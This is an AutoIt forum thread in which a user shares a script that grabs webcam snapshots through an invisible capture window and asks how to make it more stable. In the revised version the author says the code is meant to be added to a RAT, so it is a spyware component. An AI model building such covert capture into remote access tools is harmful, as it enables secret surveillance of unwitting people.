Celtic88 Posted April 12, 2013 Posted April 12, 2013 hallo everybody Is there another way SNAPWEBCAM(@ScriptDir & "\WBshot.bmp") Func SNAPWEBCAM($snapfile) Local Const $WS_CHILD = 0x40000000 Local Const $WM_CAP_START = 0x400 Local $WM_CAP_FILE_SAVEDIBA = $WM_CAP_START + 25 Local $WM_CAP_GRAB_FRAME_NOSTOP = $WM_CAP_START + 61 Local $WM_CAP_DRIVER_DISCONNECT = $WM_CAP_START + 11 Local $WM_CAP_DRIVER_CONNECT = $WM_CAP_START + 10 Local $WM_CAP_SET_SCALE = $WM_CAP_START + 53 Local $WM_CAP_SET_OVERLAY = $WM_CAP_START + 51 Local $WM_CAP_SET_PREVIEWRATE = $WM_CAP_START + 52 Local $WM_CAP_SET_PREVIEW = $WM_CAP_START + 50 Local $WM_CAP_UNICODE_START = $WM_CAP_START + 100 Local $avi = DllOpen("avicap32.dll") Local $user = DllOpen("user32.dll") Local $cap = DllCall($avi, "int", "capCreateCaptureWindow", "str", "cap", "int", $WS_CHILD, "int", 15, "int", 15, "int", 320, "int", 240, "hwnd", GUICreate("", 0, 0), "int", 1) DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_CONNECT, "int", 0, "int", 0) DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_SCALE, "int", 1, "int", 0) DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_OVERLAY, "int", 1, "int", 0) DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_PREVIEW, "int", 1, "int", 0) DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_PREVIEWRATE, "int", 1, "int", 0) GUISetState(@SW_DISABLE) Local $time = TimerInit() While True FileDelete($snapfile) DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_GRAB_FRAME_NOSTOP, "int", 0, "int", 0) DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_FILE_SAVEDIBA, "int", 0, "str", $snapfile) If TimerDiff($time) > 900 Then ExitLoop WEnd DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_UNICODE_START, "int", 0, "int", 0) DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_DISCONNECT, "int", 0, "int", 0) DllClose($avi) DllClose($user) EndFunc ;==>SNAPWEBCAM
water Posted April 12, 2013 Posted April 12, 2013 (edited) Why do you need another way? Edited April 12, 2013 by water My UDFs and Tutorials: Spoiler UDFs: Active Directory (NEW 2024-07-28 - Version 1.6.3.0) - Download - General Help & Support - Example Scripts - Wiki ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki Task Scheduler (2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki Standard UDFs: Excel - Example Scripts - Wiki Word - Wiki Tutorials: ADO - Wiki WebDriver - Wiki
Celtic88 Posted April 12, 2013 Author Posted April 12, 2013 Why do you need another say?is not stable!
water Posted April 12, 2013 Posted April 12, 2013 What is the While loop for? You delete the file and then (over)write the image to the file. Does this make sense? My UDFs and Tutorials: Spoiler UDFs: Active Directory (NEW 2024-07-28 - Version 1.6.3.0) - Download - General Help & Support - Example Scripts - Wiki ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki Task Scheduler (2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki Standard UDFs: Excel - Example Scripts - Wiki Word - Wiki Tutorials: ADO - Wiki WebDriver - Wiki
Celtic88 Posted April 13, 2013 Author Posted April 13, 2013 (edited) NO LOOPSNAPWEBCAM(@ScriptDir & "\1.bmp") Func SNAPWEBCAM($snapfile) Local Const $WS_CHILD = 0x40000000 Local Const $WM_CAP_START = 0x400 Local $WM_CAP_DRIVER_DISCONNECT = $WM_CAP_START + 11 Local $WM_CAP_DRIVER_CONNECT = $WM_CAP_START + 10 Local $WM_CAP_UNICODE_START = $WM_CAP_START + 100 Local $avi = DllOpen("avicap32.dll") Local $user = DllOpen("user32.dll") Local $cap = DllCall($avi, "int", "capCreateCaptureWindow", "str", "cap", "int", $WS_CHILD, "int", 15, "int", 15, "int", 320, "int", 240, "hwnd", GUICreate("", 0, 0), "int", 1) DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_CONNECT, "int", 0, "int", 0) GUISetState(@SW_DISABLE) SNAP($user, $cap[0], "") SNAP($user, $cap[0], "") SNAP($user, $cap[0], "") SNAP($user, $cap[0], $snapfile) DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_UNICODE_START, "int", 0, "int", 0) DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_DISCONNECT, "int", 0, "int", 0) DllClose($avi) DllClose($user) EndFunc ;==>SNAPWEBCAM Func SNAP($DLL, $cap, $savto) Local Const $WM_CAP_START = 0x400 Local $WM_CAP_FILE_SAVEDIBA = $WM_CAP_START + 25 Local $WM_CAP_GRAB_FRAME_NOSTOP = $WM_CAP_START + 61 FileDelete($savto) DllCall($DLL, "int", "SendMessage", "hWnd", $cap, "int", $WM_CAP_GRAB_FRAME_NOSTOP, "int", 0, "int", 0) DllCall($DLL, "int", "SendMessage", "hWnd", $cap, "int", $WM_CAP_FILE_SAVEDIBA, "int", 0, "str", $savto) EndFunc ;==>SNAPADD TO MY RAThttp://www.youtube.com/watch?v=cRw6ODFW4q0&feature=youtu.be Edited April 13, 2013 by JustBegun
Mechaflash Posted April 15, 2013 Posted April 15, 2013 Is that a wart on your hand? Spoiler “Hello, ladies, look at your man, now back to me, now back at your man, now back to me. Sadly, he isn’t me, but if he stopped using ladies scented body wash and switched to Old Spice, he could smell like he’s me. Look down, back up, where are you? You’re on a boat with the man your man could smell like. What’s in your hand, back at me. I have it, it’s an oyster with two tickets to that thing you love. Look again, the tickets are now diamonds. Anything is possible when your man smells like Old Spice and not a lady. I’m on a horse.”
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now